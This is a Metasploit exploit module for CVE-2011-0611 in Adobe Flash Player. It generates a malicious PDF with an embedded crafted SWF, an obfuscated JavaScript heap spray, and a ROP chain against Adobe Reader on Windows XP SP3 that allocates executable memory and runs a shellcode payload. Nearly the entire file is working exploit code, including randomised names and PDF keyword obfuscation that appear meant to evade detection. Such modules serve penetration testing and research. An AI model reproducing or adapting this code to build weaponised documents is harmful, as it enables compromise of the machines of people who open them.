##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Adobe Flash Player that was discovered, and
				has been exploited actively in the wild.  By embedding a specially crafted .swf file,
				Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
				overwrite a pointer in memory, and results arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',   # Found being openly exploited
					'sinn3r',    # browser module
					'jduck'      # File format version
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2011-0611' ],
					[ 'OSVDB', '71686' ],
					[ 'BID', '47314' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
					[ 'URL', 'http://secunia.com/blog/210' ],
					# For SWF->PDF embedding
					['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'             => 'process',
					'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK via Adobe Reader 10.0.1 on Windows XP SP3 (uses flash 10.2.152.23) -jjd
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Apr 11 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end

	def exploit
		swf_data = make_swf()
		js_data = make_js(payload.encoded)

		# Create the pdf
		pdf = make_pdf(swf_data, js_data)

		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)
	end

	def make_swf
		# load the static swf file
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
		fd = File.open( path, "rb" )
		swf_data = fd.read(fd.stat.size)
		fd.close
		swf_data
	end

	def make_js(encoded_payload)

		# Generate the ROP payload
		rvas = rvas_bib_xpsp3()
		rop = generate_rop(rvas)
		#rop << "\xcc"
		rop << encoded_payload

		# Setup some JS vars
		var_unescape  = rand_text_alpha(rand(100) + 1)
		var_shellcode = rand_text_alpha(rand(100) + 1)

		var_start     = rand_text_alpha(rand(100) + 1)

		var_s         = 0x10000
		var_c         = rand_text_alpha(rand(100) + 1)
		var_b         = rand_text_alpha(rand(100) + 1)
		var_d         = rand_text_alpha(rand(100) + 1)
		var_3         = rand_text_alpha(rand(100) + 1)
		var_i         = rand_text_alpha(rand(100) + 1)
		var_4         = rand_text_alpha(rand(100) + 1)

		payload_buf = pattern_create(2048)
		payload_buf[1288, rop.length] = rop

		escaped_payload = Rex::Text.to_unescape(payload_buf)

		js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

		js
	end

	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		"%d 0 obj\n" % id
	end

	def ioRef(id)
		"%d 0 R" % id
	end


	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end


	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end


	def make_pdf(swf, js)

		swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

		xref = []
		eol = "\n"
		endobj = "endobj" << eol

		# Randomize PDF version?
		pdf = "%PDF-1.5" << eol
		#pdf << "%" << RandomNonASCIIString(4) << eol

		# catalog
		xref << pdf.length
		pdf << ioDef(1) << nObfu("<</Type/Catalog")
		pdf << nObfu("/Pages ") << ioRef(3)
		pdf << nObfu("/OpenAction ") << ioRef(5)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# pages array
		xref << pdf.length
		pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj

		# page 1
		xref << pdf.length
		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
		pdf << nObfu(">>")
		pdf << eol << endobj

		# js action
		xref << pdf.length
		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj

		# js stream
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj

		# swf annotation object
		xref << pdf.length
		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
		pdf << nObfu("/Rect [20 20 187 69] ")
		pdf << nObfu("/RichMediaSettings ") << ioRef(8)
		pdf << nObfu("/RichMediaContent ") << ioRef(9)
		pdf << nObfu("/NM (") << swf_name << nObfu(")")
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media settings
		xref << pdf.length
		pdf << ioDef(8)
		pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
		pdf << nObfu("/Activation ") << ioRef(10)
		pdf << nObfu("/Deactivation ") << ioRef(11)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media content
		xref << pdf.length
		pdf << ioDef(9)
		pdf << nObfu("<</Type/RichMediaContent")
		pdf << nObfu("/Assets ") << ioRef(12)
		pdf << nObfu("/Configurations [") << ioRef(14) << "]"
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media activation / deactivation
		xref << pdf.length
		pdf << ioDef(10)
		pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(11)
		pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
		pdf << eol << endobj

		# rich media assets
		xref << pdf.length
		pdf << ioDef(12)
		pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
		pdf << eol << endobj

		# swf embeded file ref
		xref << pdf.length
		pdf << ioDef(13)
		pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
		pdf << eol << endobj

		# rich media configuration
		xref << pdf.length
		pdf << ioDef(14)
		pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
		pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
		pdf << eol << endobj

		# rich media isntance
		xref << pdf.length
		pdf << ioDef(15)
		pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
		pdf << nObfu("/Asset ") << ioRef(13)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# swf stream
		# NOTE: This data is already compressed, no need to compress it again...
		xref << pdf.length
		pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
		pdf << "stream" << eol
		pdf << swf << eol
		pdf << "endstream" << eol
		pdf << endobj

		# trailing stuff
		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "0000000000 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end

		pdf << "trailer" << eol
		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

		pdf << "startxref" << eol
		pdf << xrefPosition.to_s() << eol

		pdf << "%%EOF" << eol
		pdf
	end

	def rvas_bib_xpsp3()
		# BIB.dll from Reader 10.0.1 (Win32) on XPSP3
		# Just return this hash
		{
			'xchg esp, eax / ret'    => 0x133c,
			'int 3 / ret'            => 0xd75f,
			'ret 0x08'               => 0x13e8,
			'ret'                    => 0x133d,

			'pop ecx / ret'          => 0x15fb,
			#'mov eax, [ecx] / ret'   => 0x6fd4,

			'pop eax / ret'          => 0x75b1,
			'call [eax] / ret'       => 0x5342,

			'mov [eax], ecx / ret'   => 0x158d,

			'add eax, 4 / ret'       => 0xab7e,

			#'mov eax, ecx / pop ebp / ret' => 0x35c1,
			'push eax / adc al, 0x59 / pop ecx / ret' => 0xb80a,

			#'mov esp, ebp / pop ebp / ret' => 0xe1f7,
			#'pop ebp / ret'          => 0x15d9,

			'pop edi / pop esi / ret' => 0x114e,
		}
	end

	def generate_rop(rvas)
		# ROP fun! (XP SP3 English, Apr 21 2011)
		rvas.merge!({
			# Instructions / Name    => RVA
			'BaseAddress'            => 0x07000000,
			'imp_GetProcAddress'     => 0x11028,
			'imp_memcpy'             => 0x110f8,
			'data_Str'               => 0x19c9c,
			'data_VirtualAlloc'      => 0x19cac,
			'data_Code'              => 0x19cac,
		})

		# crash @ 0x30115037 / call [eax+8]
		rop_stack = [
			'ret 0x08',
			'ret',
			'xchg esp, eax / ret',  # lines up with call [eax+0x08] from trigger
			'ret',

			#'int 3 / ret',
			'ret',

			# Write the function name to data_Str
			'pop eax / ret',
			'data_Str',
			'pop ecx / ret',
			0x74726956,  # Virt
			'mov [eax], ecx / ret',
			'add eax, 4 / ret',
			'pop ecx / ret',
			0x416c6175,  # ualA
			'mov [eax], ecx / ret',
			'add eax, 4 / ret',
			'pop ecx / ret',
			0x636f6c6c,  # lloc
			'mov [eax], ecx / ret',

			# Get the function addr
			'pop eax / ret',
			'imp_GetProcAddress',

			'call [eax] / ret',
			0x7c800000,  # kernel32 base
			'data_Str',

			# Write the VirtualAlloc ptr to data_VirtualAlloc
			'push eax / adc al, 0x59 / pop ecx / ret',
			'pop eax / ret',
			'data_VirtualAlloc',
			'mov [eax], ecx / ret',

			# Call VirtualAlloc
			'call [eax] / ret',
         0,         # lpAddress
			0x1000,    # dwSize
			0x3000,    # flAllocationType
			0x40,      # flProt

			# Write the new RWX memory address to data_Code
			'push eax / adc al, 0x59 / pop ecx / ret',
			'pop eax / ret',
			'data_Code',
			'mov [eax], ecx / ret',

			# Copy the rest of the payload to our new buffer
			'pop eax / ret',
			'imp_memcpy',
			'call [eax] / ret',
			0x220f0000, # hardcoded :(
			0x111111b8, # hardcoded :(
			0x1000,

			# don't need anything since memcpy causes flow automatically into its first arg :)
		]

		rop_stack.map! { |e|
			if e.kind_of? String
				# Meta-replace (RVA)
				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
				rvas['BaseAddress'] + rvas[e]

			elsif e == :unused
				# Randomize
				rand_text(4).unpack('V').first

			else
				# Literal
				e
			end
		}

		rop_stack.pack('V*')
	end

	def rva2addr(rvas, key)
		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
		rvas['BaseAddress'] + rvas[key]
	end

end
